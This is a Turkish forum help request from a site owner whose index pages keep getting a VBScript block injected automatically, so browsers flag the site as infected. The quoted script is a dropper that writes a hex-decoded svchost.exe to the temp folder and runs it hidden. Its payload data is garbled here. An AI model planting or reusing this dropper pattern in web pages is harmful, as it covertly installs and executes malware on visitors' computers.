Wbscript Svchost.exe hatası sorunu

SCRIPT Language=VBScript><!--

DropFileName = "svchost.exe"

WriteData = "3...............................xxxxxvx.....

31564c45cbcb................

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName

If FSO.FileExists(DropPath)=False Then

Set FileObj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step 2

FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))

Next

FileObj.Close

End If

Set WSHshell = CreateObject("WScript.Shell")

WSHshell.Run DropPath, 0

//--></SCRIPT>

Arkadaşlar yukarıdaki gibi bir hata alıyorum index sayfalarıma bu yazı otomatik yazılıyor ve siteyi virüslü olarak algılıyor veb tarayıcıları bu hatayı nasıl düzeltebilirim.

yardımlarınız için şimdiden teşekkür ederim